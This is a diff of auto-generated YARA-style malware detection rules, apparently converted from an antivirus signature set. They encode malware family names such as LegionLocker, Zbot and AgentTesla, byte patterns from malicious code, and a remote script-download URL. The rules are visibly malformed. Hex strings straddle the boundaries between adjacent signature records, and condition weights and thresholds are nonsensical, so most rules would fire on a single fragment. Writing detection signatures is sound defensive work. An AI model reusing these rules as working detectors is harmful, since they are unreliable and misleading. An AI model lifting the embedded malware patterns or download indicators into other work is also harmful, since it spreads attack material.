6f 6e 5c 52 75 6e 9c ff 1a 00 41 75 74 6f 20 50 6f 77 65 72 2d 6f 6e 20 26 20 53 68 75 74 2d 64 6f 77 6e 00 00 00 78 e4 00 00 08 00 08 00 06 00 } //27749 $a_4c_6 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 63 6f 72 64 2e 41 59 41 21 4d 54 42 00 02 00 28 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 5f 00 64 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5f 00 } //8993 $a_00_7 = {72 00 65 00 02 00 0c 01 46 75 72 72 79 50 72 6f 67 72 61 6d 01 00 0f 01 4c 61 73 74 4c 65 67 65 6e 64 73 2e 65 78 65 01 00 48 00 65 00 75 00 72 00 6f 00 73 00 63 00 6c 00 75 00 62 00 2e 00 6a 00 6f 00 73 00 68 00 62 00 74 00 63 00 2e 00 72 00 65 00 70 00 6c 00 2e 00 63 00 6f 00 2f 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 74 00 } //99 - $a_00_8 = {01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 0e 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 e4 00 00 08 00 08 00 09 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 32 00 02 00 0d 80 01 64 69 37 65 31 6a 35 66 31 70 6c 66 6f 01 00 0a 80 01 61 66 78 77 69 6e 32 2e 69 6e } //120 - $a_80_9 = {66 69 6c 65 63 6f 72 65 2e 63 70 70 } //filecore.cpp 1 + $a_00_8 = {01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 0e 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 e4 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 53 21 4d 54 42 00 01 00 26 81 01 5c 61 66 6b 6f 62 6c 69 6e 67 65 72 6e 65 73 5c 74 65 6c 74 74 72 61 69 6c 65 72 5c 70 61 72 } //120 + $a_65_9 = {65 72 01 00 12 81 01 55 6e 73 61 6c 75 62 72 69 6f 75 73 6c 79 2e 6a 70 67 01 00 0d 81 01 62 65 74 61 74 72 6f 6e 73 2e 74 69 64 01 00 0d 81 01 63 6f 65 6d 70 74 69 76 65 2e 62 72 69 01 00 16 81 01 6f 62 6a 65 6b 74 69 76 69 73 65 72 69 6e 67 65 72 73 2e 74 78 74 01 00 0c 81 01 6f 69 6c 73 6b 69 6e 73 2e 6b 61 6e 01 00 0c 81 } //30054 condition: - ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*384+(#a_74_3 & 1)*28265+(#a_d0_4 & 1)*-232+(#a_65_5 & 1)*27749+(#a_4c_6 & 1)*8993+(#a_00_7 & 1)*99+(#a_00_8 & 1)*120+(#a_80_9 & 1)*1) >=7 + ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*384+(#a_74_3 & 1)*28265+(#a_d0_4 & 1)*-232+(#a_65_5 & 1)*27749+(#a_4c_6 & 1)*8993+(#a_00_7 & 1)*99+(#a_00_8 & 1)*120+(#a_65_9 & 1)*30054) >=7 } -rule _InfrastructureShared_15108{ +rule _InfrastructureShared_16098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 07 00 08 00 21 " @@ -174564,43 +186220,44 @@ rule _InfrastructureShared_15108{ $a_20_2 = {6f 77 65 72 2d 6f 6e 20 26 20 53 68 75 74 2d 64 6f 77 6e 00 00 00 78 e4 00 00 08 00 08 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 63 6f 72 64 2e 41 59 41 21 4d 54 42 00 02 00 28 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 5f 00 64 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5f 00 63 00 6f 00 72 00 65 00 02 } //29813 $a_46_3 = {72 } //3072 r $a_72_4 = {67 72 61 6d 01 00 0f 01 4c 61 73 74 4c 65 67 65 6e 64 73 2e 65 78 65 01 00 48 00 65 00 75 00 72 00 6f 00 73 00 63 00 6c 00 75 00 62 00 2e 00 6a 00 6f 00 73 00 68 00 62 00 74 00 63 00 2e 00 72 00 65 00 70 00 6c 00 2e 00 63 00 6f 00 2f 00 73 } //31090 - $a_00_6 = {74 00 2e 00 74 00 78 00 74 00 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 0e 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 e4 00 00 08 00 08 00 09 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 32 00 02 00 0d 80 01 64 69 37 65 31 6a 35 66 31 70 6c 66 6f 01 } //105 - $a_01_7 = {61 66 78 77 69 6e 32 2e 69 6e 01 00 0c 80 01 66 69 6c 65 63 6f 72 65 2e 63 70 70 01 00 11 80 01 54 4f 4f 4c 42 41 52 5f 50 4f 50 55 50 4d 45 4e 55 01 00 1d 80 01 41 46 58 5f 57 4d 5f 41 46 54 45 52 5f 54 41 53 4b 42 41 52 5f 41 43 54 49 56 41 54 45 01 00 13 80 01 41 70 70 57 69 7a 61 72 64 2d 47 65 6e 65 72 61 74 65 64 01 00 14 80 01 51 75 69 63 6b 20 41 63 63 65 73 73 20 54 6f 6f } //2560 + $a_00_6 = {74 00 2e 00 74 00 78 00 74 00 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 0e 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 e4 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 53 21 4d 54 42 00 01 00 26 81 01 5c 61 66 6b 6f 62 6c 69 6e 67 65 72 6e 65 73 5c 74 } //105 + $a_74_7 = {61 69 6c 65 72 5c 70 61 72 66 75 6d 65 72 65 72 01 00 12 81 01 55 6e 73 61 6c 75 62 72 69 6f 75 73 6c 79 2e 6a 70 67 01 00 0d 81 01 62 65 74 61 74 72 6f 6e 73 2e 74 69 64 01 00 0d 81 01 63 6f 65 6d 70 74 69 76 65 2e 62 72 69 01 00 16 81 01 6f 62 6a 65 6b 74 69 76 69 73 65 72 69 6e 67 65 72 73 2e 74 78 74 01 00 0c 81 01 6f 69 6c 73 6b 69 6e 73 2e } //27749 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25455+(#a_20_2 & 1)*29813+(#a_46_3 & 1)*3072+(#a_72_4 & 1)*31090+(#a_00_6 & 1)*105+(#a_01_7 & 1)*2560) >=7 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25455+(#a_20_2 & 1)*29813+(#a_46_3 & 1)*3072+(#a_72_4 & 1)*31090+(#a_00_6 & 1)*105+(#a_74_7 & 1)*27749) >=7 } -rule _InfrastructureShared_15109{ +rule _InfrastructureShared_16099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 63 6f 72 64 2e 41 59 41 21 4d 54 42 00 02 00 28 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 5f 00 64 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5f 00 63 00 6f 00 72 00 65 00 02 00 0c 01 } //16675 $a_72_1 = {50 72 6f 67 72 61 6d 01 00 0f 01 4c 61 73 74 4c 65 67 65 6e 64 73 2e 65 78 65 01 00 48 00 65 00 75 00 72 00 6f 00 73 00 63 00 6c 00 75 00 62 00 2e 00 6a 00 6f 00 73 00 68 00 62 00 74 00 63 00 2e 00 72 00 65 00 70 00 6c 00 2e 00 63 00 6f 00 2f 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 74 00 78 00 74 00 01 00 09 01 57 65 62 43 6c 69 65 6e } //30022 - $a_77_3 = {6c 6f 61 64 53 74 72 69 6e 67 00 00 78 e4 00 00 08 00 08 00 09 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 32 00 02 00 0d 80 01 64 69 37 65 31 6a 35 66 31 70 6c 66 6f 01 00 0a 80 01 61 66 78 77 69 6e 32 2e 69 6e 01 00 0c 80 01 66 69 6c 65 63 6f 72 65 2e 63 70 } //17409 - $a_4f_5 = {42 41 52 5f 50 4f 50 55 50 4d 45 4e 55 01 00 1d 80 01 41 46 58 5f 57 4d 5f 41 46 54 45 52 5f 54 41 53 4b 42 41 52 5f 41 43 54 49 56 41 54 45 01 00 13 80 01 41 70 70 57 69 7a 61 72 64 2d 47 65 6e 65 72 61 74 65 64 01 00 14 80 01 51 75 69 } //21505 + $a_77_3 = {6c 6f 61 64 53 74 72 69 6e 67 00 00 78 e4 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 53 21 4d 54 42 00 01 00 26 81 01 5c 61 66 6b 6f 62 6c 69 6e 67 65 72 6e 65 73 5c 74 65 6c 74 74 72 61 69 6c 65 72 5c 70 61 72 66 75 6d 65 72 65 72 01 00 12 81 01 55 6e 73 61 } //17409 + $a_72_4 = {6f 75 73 6c 79 2e 6a 70 67 01 00 0d 81 01 62 65 74 61 74 72 6f 6e 73 2e 74 69 64 01 00 0d 81 01 63 6f 65 6d 70 74 69 76 65 2e 62 72 69 01 00 16 81 01 6f 62 6a 65 6b 74 69 76 69 73 65 72 69 6e 67 65 72 73 2e 74 78 74 01 00 0c 81 01 6f 69 6c 73 6b 69 6e 73 2e 6b 61 6e 01 00 0c 81 01 73 6f 6f 74 } //30060 + $a_77_5 = {61 66 73 01 00 0f 81 01 5c 6b 6e 68 6a 65 5c 68 79 70 6f 68 79 61 6c 00 00 78 e4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 4d 21 4d 54 42 00 01 00 10 80 01 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 61 70 01 00 } //29544 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30022+(#a_77_3 & 1)*17409+(#a_4f_5 & 1)*21505) >=8 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30022+(#a_77_3 & 1)*17409+(#a_72_4 & 1)*30060+(#a_77_5 & 1)*29544) >=8 } -rule _InfrastructureShared_15110{ +rule _InfrastructureShared_16100{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 32 00 02 00 0d 80 01 64 69 37 65 31 6a 35 66 31 70 6c 66 6f 01 00 0a 80 01 61 66 78 77 69 6e 32 2e 69 6e 01 00 0c 80 01 66 69 6c 65 } //16675 - $a_65_1 = {63 70 70 01 00 11 80 01 54 4f 4f 4c 42 41 52 5f 50 4f 50 55 50 4d 45 4e 55 01 00 1d 80 01 41 46 58 5f 57 4d 5f 41 46 54 45 52 5f 54 41 53 4b 42 41 52 5f 41 43 54 49 56 41 54 45 01 00 13 80 01 41 70 70 57 69 7a 61 72 64 2d 47 65 6e 65 72 61 74 65 64 01 00 14 80 01 51 75 69 63 6b 20 41 63 63 65 73 73 20 54 6f 6f 6c 62 61 72 01 00 08 80 01 53 } //28515 - $a_20_2 = {6c 6c 01 00 07 80 01 44 65 63 6c 69 6e 65 00 00 78 e4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 4d 21 4d 54 42 00 01 00 10 80 01 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 61 70 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 } //26987 - $a_53_3 = {50 } //-32761 P - $a_45_4 = {00 0e 80 01 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 10 80 01 47 61 72 72 69 78 2e 45 78 70 6c 6f 72 65 72 31 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 } //21061 - $a_72_5 = {6f 72 01 00 0f 80 01 67 65 74 5f 4d 61 69 6e 44 6f 6d 61 69 6e 73 01 00 0f 01 00 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 00 78 e4 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 } //25701 - $a_41_6 = {65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 31 39 21 4d 54 42 00 0a 00 ae 03 11 03 11 06 8e 69 3c 5a 00 00 00 20 02 00 00 00 7e 6d 09 00 04 7b } //19529 - $a_ff_8 = {26 20 01 00 00 00 38 6c ff ff ff 11 06 8e 69 8d 0d 00 00 01 13 02 20 00 00 00 00 7e 6d 09 00 04 7b b2 09 00 04 3a 4d ff ff ff 26 20 00 00 00 00 38 42 ff ff ff 28 90 01 04 13 06 20 07 00 00 00 38 31 ff ff ff 11 02 13 04 20 04 00 00 00 7e 6d 09 00 04 7b 5e 09 00 04 3a 19 ff ff ff 26 20 05 00 00 00 38 0e ff ff ff 11 02 11 03 11 06 11 03 91 11 05 11 03 11 05 6f 90 01 04 5d 28 90 01 04 61 d2 9c 20 08 00 00 00 38 e7 fe ff ff 90 00 00 00 78 e4 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 74 46 69 6c 74 65 72 53 65 72 76 69 63 65 2e 41 00 01 00 0a 01 4b 41 56 43 4f 4e 4e 5f 49 44 01 00 0c 01 4e 65 74 46 69 6c 74 65 72 53 44 4b 01 00 0e 01 25 73 2d 25 73 2d 25 73 23 63 68 69 6c 64 01 00 3a 01 6e 00 73 00 73 00 5c 00 63 00 65 00 } //30522 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 53 21 4d 54 42 00 01 00 26 81 01 5c 61 66 6b 6f 62 6c 69 6e 67 65 72 6e 65 73 5c 74 65 6c 74 74 72 61 69 6c 65 72 5c 70 61 72 66 75 6d 65 72 65 72 01 00 12 81 01 55 6e 73 61 } //18467 + $a_72_1 = {6f 75 73 6c 79 2e 6a 70 67 01 00 0d 81 01 62 65 74 61 74 72 6f 6e 73 2e 74 69 64 01 00 0d 81 01 63 6f 65 6d 70 74 69 76 65 2e 62 72 69 01 00 16 81 01 6f 62 6a 65 6b 74 69 76 69 73 65 72 69 6e 67 65 72 73 2e 74 78 74 01 00 0c 81 01 6f 69 6c 73 6b 69 6e 73 2e 6b 61 6e 01 00 0c 81 01 73 6f 6f 74 } //30060 + $a_77_2 = {61 66 73 01 00 0f 81 01 5c 6b 6e 68 6a 65 5c 68 79 70 6f 68 79 61 6c 00 00 78 e4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 4d 21 4d 54 42 00 01 00 10 80 01 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 61 70 01 00 } //29544 + $a_67_3 = {74 } //-32749 t + $a_6c_4 = {65 45 6e 75 6d 65 72 61 74 6f 72 01 00 07 80 01 53 55 50 45 52 4d 45 01 00 0e 80 01 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 10 80 01 47 61 72 72 69 78 2e 45 78 70 6c 6f 72 65 72 31 01 00 13 80 01 67 65 74 5f 52 65 73 74 } //22111 + $a_74_5 = {64 45 72 72 6f 72 01 00 0f 80 01 67 65 74 5f 4d 61 69 6e 44 6f 6d 61 69 6e 73 01 00 0f 01 00 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 00 78 e4 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 31 39 21 4d 54 42 00 } //26994 + $a_03_6 = {11 03 11 06 8e 69 3c 5a 00 00 00 20 02 00 00 00 7e 6d 09 00 04 7b 64 09 00 04 3a 77 ff ff ff 26 20 01 00 00 00 38 6c ff ff ff 11 06 8e 69 8d 0d 00 00 01 13 02 20 00 00 00 00 7e 6d 09 00 04 7b b2 09 00 04 3a 4d ff ff ff 26 20 00 00 00 00 38 42 ff ff ff 28 ?? ?? ?? ?? 13 06 20 07 00 00 00 38 31 ff ff ff 11 02 13 04 20 04 00 00 00 7e 6d 09 00 04 7b 5e 09 00 04 3a 19 ff ff ff 26 20 05 00 00 00 38 0e ff ff ff 11 02 11 03 11 06 11 03 91 11 05 11 03 11 05 6f ?? ?? ?? ?? 5d 28 ?? ?? ?? ?? 61 d2 9c 20 08 00 00 00 38 e7 fe ff ff } //10 + $a_e4_7 = {00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 74 46 69 6c 74 65 72 53 65 72 76 69 63 65 2e 41 00 01 00 0a 01 4b 41 56 43 4f 4e 4e 5f 49 44 01 00 0c 01 4e 65 74 46 69 6c 74 65 72 53 44 4b 01 00 0e 01 25 73 2d 25 73 2d 25 73 23 63 68 69 6c 64 01 00 3a 01 6e 00 73 00 73 00 5c 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 20 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28515+(#a_20_2 & 1)*26987+(#a_53_3 & 1)*-32761+(#a_45_4 & 1)*21061+(#a_72_5 & 1)*25701+(#a_41_6 & 1)*19529+(#a_ff_8 & 1)*30522) >=8 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30060+(#a_77_2 & 1)*29544+(#a_67_3 & 1)*-32749+(#a_6c_4 & 1)*22111+(#a_74_5 & 1)*26994+(#a_03_6 & 1)*10+(#a_e4_7 & 1)*0) >=8 } -rule _InfrastructureShared_15111{ +rule _InfrastructureShared_16101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -174617,7 +186274,7 @@ rule _InfrastructureShared_15111{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*21843+(#a_72_2 & 1)*25701+(#a_41_3 & 1)*19529+(#a_ff_5 & 1)*30522+(#a_00_6 & 1)*114+(#a_e4_7 & 1)*0+(#a_83_8 & 1)*13056) >=9 } -rule _InfrastructureShared_15112{ +rule _InfrastructureShared_16102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -174627,7 +186284,7 @@ rule _InfrastructureShared_15112{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_15113{ +rule _InfrastructureShared_16103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -174640,7 +186297,7 @@ rule _InfrastructureShared_15113{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25708+(#a_00_3 & 1)*115+(#a_5c_4 & 1)*25449) >=10 } -rule _InfrastructureShared_15114{ +rule _InfrastructureShared_16104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -174652,7 +186309,7 @@ rule _InfrastructureShared_15114{ ((#a_72_0 & 1)*14883+(#a_57_1 & 1)*514+(#a_48_2 & 1)*8448) >=11 } -rule _InfrastructureShared_15115{ +rule _InfrastructureShared_16105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -174668,7 +186325,7 @@ rule _InfrastructureShared_15115{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*3160+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=11 } -rule _InfrastructureShared_15116{ +rule _InfrastructureShared_16106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -174684,7 +186341,7 @@ rule _InfrastructureShared_15116{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*9217+(#a_69_2 & 1)*28500+(#a_6f_3 & 1)*21562+(#a_46_4 & 1)*25710+(#a_63_5 & 1)*30821+(#a_90_6 & 1)*1297) >=11 } -rule _InfrastructureShared_15117{ +rule _InfrastructureShared_16107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -174703,7 +186360,7 @@ rule _InfrastructureShared_15117{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*-32752+(#a_20_2 & 1)*29807+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_e4_5 & 1)*0+(#a_74_6 & 1)*18177+(#a_00_8 & 1)*0+(#a_41_9 & 1)*19529+(#a_35_10 & 1)*12386) >=11 } -rule _InfrastructureShared_15118{ +rule _InfrastructureShared_16108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -174720,7 +186377,7 @@ rule _InfrastructureShared_15118{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28623+(#a_11_2 & 1)*-10729+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=17 } -rule _InfrastructureShared_15119{ +rule _InfrastructureShared_16109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 08 00 21 " @@ -174737,7 +186394,7 @@ rule _InfrastructureShared_15119{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26966+(#a_6f_2 & 1)*18036+(#a_00_3 & 1)*78+(#a_00_4 & 1)*78+(#a_06_5 & 1)*2563+(#a_6f_6 & 1)*1536+(#a_6f_7 & 1)*1536) >=20 } -rule _InfrastructureShared_15120{ +rule _InfrastructureShared_16110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -174748,7 +186405,7 @@ rule _InfrastructureShared_15120{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*85) >=21 } -rule _InfrastructureShared_15121{ +rule _InfrastructureShared_16111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 12 00 07 00 21 " @@ -174763,20 +186420,32 @@ rule _InfrastructureShared_15121{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28561+(#a_38_2 & 1)*1803+(#a_6e_3 & 1)*29268+(#a_65_5 & 1)*384+(#a_2e_6 & 1)*25963) >=18 } -rule _InfrastructureShared_15122{ +rule _InfrastructureShared_16112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1b 00 04 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4c 65 67 69 6f 6e 4c 6f 63 6b 65 72 2e 53 49 42 21 4d 54 42 00 02 00 10 80 01 4c 65 67 69 6f 6e 4c 6f 63 6b 65 72 2e 65 78 65 01 00 05 80 01 2e 62 6f 6f 74 05 00 08 80 01 2e 74 68 65 6d 69 } //16675 $a_00_1 = {84 02 8a 06 46 88 07 47 bb 90 01 04 00 d2 75 90 01 01 8a 16 } //24932 - $a_73_2 = {01 01 00 d2 75 90 01 01 8a 16 46 10 d2 73 90 01 01 31 c0 00 d2 75 90 01 01 8a 16 46 10 d2 0f 83 90 01 04 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 74 90 01 01 57 89 c0 29 c7 8a 07 5f 88 07 47 bb 90 01 04 eb 90 00 00 00 78 e5 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 38 21 4d 54 42 00 01 00 b6 02 8b c8 8b 45 90 01 01 8b 55 90 01 01 35 90 01 04 0b c2 8b 55 90 01 01 0b c2 81 e1 90 01 04 81 e9 90 01 04 8b f9 2b f8 8b 45 90 01 01 8b 55 90 01 01 05 } //4166 - $a_33_3 = {33 d2 f7 f6 } //400 + $a_73_2 = {01 01 00 d2 75 90 01 01 8a 16 46 10 d2 73 90 01 01 31 c0 00 d2 75 90 01 01 8a 16 46 10 d2 0f 83 90 01 04 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 00 d2 75 90 01 01 8a 16 46 10 d2 11 c0 74 90 01 01 57 89 c0 29 c7 8a 07 5f 88 07 47 bb 90 01 04 eb 90 00 00 00 78 e4 00 00 2d 00 2d 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 21 4d 54 42 00 14 00 66 03 48 8b c3 48 8b cb 48 d1 e9 83 e0 01 48 0b c8 f2 48 0f 2a c1 f2 0f 58 c0 f2 0f 59 05 fe a2 01 00 e8 90 01 04 f2 0f 10 0d f9 a2 01 00 33 c9 66 0f 2f c1 72 90 01 } //4166 + $a_5c_3 = {66 0f 2f c1 73 90 01 01 48 b8 00 00 00 00 00 } //-3583 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24932+(#a_73_2 & 1)*4166+(#a_33_3 & 1)*400) >=27 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24932+(#a_73_2 & 1)*4166+(#a_5c_3 & 1)*-3583) >=27 } -rule _InfrastructureShared_15123{ +rule _InfrastructureShared_16113{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 21 4d 54 42 00 14 00 66 03 48 8b c3 48 8b cb 48 d1 e9 83 e0 01 48 0b c8 f2 48 0f 2a c1 f2 0f 58 c0 f2 0f 59 05 fe a2 01 00 e8 90 01 04 f2 0f 10 } //21539 + $a_01_1 = {00 33 c9 66 0f 2f c1 72 90 01 01 f2 0f 5c c1 66 0f 2f c1 73 90 01 01 48 b8 00 00 00 00 00 00 00 80 48 8b c8 f2 48 0f 2c c0 48 03 c1 48 8d 0c 40 48 2b cb 49 2b cd 48 03 ce 90 00 14 00 39 03 f2 0f 59 05 92 a2 01 00 e8 90 01 04 f2 0f 10 0d 8d a2 01 00 33 c9 66 0f 2f c1 72 90 01 01 f2 0f 5c c1 66 0f 2f c1 73 90 01 01 48 b8 00 00 00 00 00 00 00 80 48 8b c8 90 00 05 00 11 01 5c 4e 65 74 77 6f 72 6b 53 63 61 6e 6e 65 72 5c 78 00 00 78 e5 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f } //-1779 + $a_3a_2 = {69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 38 21 4d 54 42 00 01 00 b6 02 8b c8 8b 45 90 01 01 8b 55 90 01 01 35 90 01 04 0b c2 8b 55 90 01 01 0b c2 81 e1 90 01 04 81 e9 90 01 04 8b f9 2b f8 8b 45 90 01 01 8b 55 90 01 01 05 90 01 04 33 c2 33 d2 f7 f6 be 90 01 04 5a 81 c7 90 01 04 33 c6 2b d0 3b fa 0f 87 90 01 04 90 02 05 c7 45 } //24938 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-1779+(#a_3a_2 & 1)*24938) >=45 + +} +rule _InfrastructureShared_16114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -174786,7 +186455,7 @@ rule _InfrastructureShared_15123{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15124{ +rule _InfrastructureShared_16115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -174798,7 +186467,7 @@ rule _InfrastructureShared_15124{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*15726+(#a_64_2 & 1)*30055) >=1 } -rule _InfrastructureShared_15125{ +rule _InfrastructureShared_16116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -174811,7 +186480,7 